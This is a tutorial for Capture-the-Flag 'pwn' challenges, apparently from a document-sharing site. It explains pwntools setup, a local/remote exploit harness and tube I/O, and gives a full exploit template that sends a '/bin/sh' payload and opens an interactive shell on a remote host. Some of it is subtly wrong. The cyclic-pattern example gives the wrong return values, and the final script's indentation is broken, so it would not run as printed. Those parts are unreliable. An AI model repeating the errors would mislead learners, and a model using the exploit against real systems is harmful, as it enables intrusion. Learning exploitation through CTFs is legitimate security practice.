You are on page 1of 3

Pwn tools 

For the solution of  pwn challenges it is recommended to  use  the  pwn tools. Pwn tools is a python 


library that contains several useful function to write the exploit for the challenges. Pwn tools has a 
documentation  here:  http://docs.pwntools.com/en/stable/  You  can  find  all  the  options  with 
examples. 

To install pwn tools on kali type the following commands: 

$ apt‐get update 
$ apt‐get install python2.7 python‐pip python‐dev git libssl‐dev libffi‐dev build‐essential 
$ pip install ‐‐upgrade pip 
$ pip install ‐‐upgrade pwntools 
 

Some cases we need to use pip2 instead of pip in kali linux.  

During a pwn challenge solutions we can download the binary of the task (some cases the source as 
well) in order to exploit it locally. A copy of the binary is running remotely but we have the flag file 
placed on  the remote server too. So when the local exploit is ready we can  apply it  to the remote 
system  to  get  a  shell  and  cat  the  flag.txt  file.  Because  of  that  I  prefer  to  use  the  following  main 
method  for  the  exploit.  (I  took  the  code  from  the  babyheapexploit.py  file  form  uaf.io: 
http://uaf.io/exploitation/2017/03/19/0ctf‐Quals‐2017‐BabyHeap2017.html )  

if __name__ == "__main__": 
    log.info("For remote: %s HOST PORT" % sys.argv[0]) 
    if len(sys.argv) > 1: 
        r = remote(sys.argv[1], int(sys.argv[2])) 
        exploit(r) 
    else: 
        r = process(['./fastbintostack'], env={}) 
        print util.proc.pidof(r) 
        pause() 
        exploit(r) 
         
The main method considers two options. If there’s no parameter for the python file it will start locally 
a  new  process  with  the  indicated  filename.  This  time  this  is  the  fastbintostack  binary.  If  there  are 
more than one parameters, it will connect to the host and port provided in the parameters and do 
the exploitation remotely. 

If the library is also given we can load it as well using the env variable: 

r = process(['./babyheap'], env={"LD_PRELOAD":"./libc.so.6"})

As it can be seen we used the log.info to write the usage and we also print out the process id if it is 
executed  locally.  Another  good  idea  is  to  use  the  pause()  before  the  exploitation  so  that  we  could 
attach  to  the  process  with  gdb  (gdb  –p  processed)  before  the  exploitation  starts  and  monitor  the 
virtual address space. The whole exploit is written in the exploit method. Of course the pause can be 
applied  any  part  of  the  exploit  method  again  to  catch  a  special  part  of  the  exploitation  with  the 
debugger. 
The basic communication with the binary is provided by the pwlib.tubes 
( http://docs.pwntools.com/en/stable/tubes.html#pwnlib.tubes.tube.tube). Two of the main 
elements are the send and the receive commands. 

For example: recv(numb = 4096, timeout = default) → str receives bytes specified with the number 
and  converts  it  to  string.  recvline(keepends  =  True) →  str  do  the  same  but  until  a  new  line  (\n)  is 
received. For a command line interactive program we can use the receiveuntil command where we 
can specify the last input character(s).  

r.recvuntil('> ') 
 
Similar  to  that  we  can  send  data  to  the  application  through  the  tube  with  the  send  command  and  its 
combinations: 
  
r.sendline('a') 
r.sendlineafter('> ', 'f') 

After having the shell we can connect with the interactive() command. Interactive does simultaneous reading 
and writing through the tube. 

r.interactive() 

With the cyclic library (pwnlib.util.cyclic) we can create special strings that contain cyclic elements. For example 
if we don’t know the necessary length of the padding we can generate a string like: 

>>> cyclic(20) 
'aaaabaaacaaadaaaeaaa' 
 
If the first 4 bytes overwrites the return address then we will see 0x65656565 as return value. In case of the 
second 4 bytes that will be 0x65656566 and so on. 

We can also use the metasploit style strings: 

>>> cyclic_metasploit(32) 
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab' 
 

According to this the full exploit will look like something like that: 

#!/usr/bin/env python 
 
from pwn import * 
import sys 
 
def exploit(r): 
    r.recvuntil('> ')  # command for receiving data 
    r.sendline('a')   # commands for sending data 
r.sendlineafter(': ', '20')   # commands for receiving and sending data 
                            # sending the payload after the appropriate initialization 
   r.sendlineafter(': ', '\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42') 
                    
    r.interactive()  #connecting to the process through the tube 
     
  # the main function 
if __name__ == "__main__": 
    log.info("For remote: %s HOST PORT" % sys.argv[0]) 
    if len(sys.argv) > 1: 
        r = remote(sys.argv[1], int(sys.argv[2])) 
        exploit(r) 
    else: 
        r = process(['./fastbintostack'], env={}) 
        print util.proc.pidof(r) 
        pause() 
        exploit(r) 
         
 

You might also like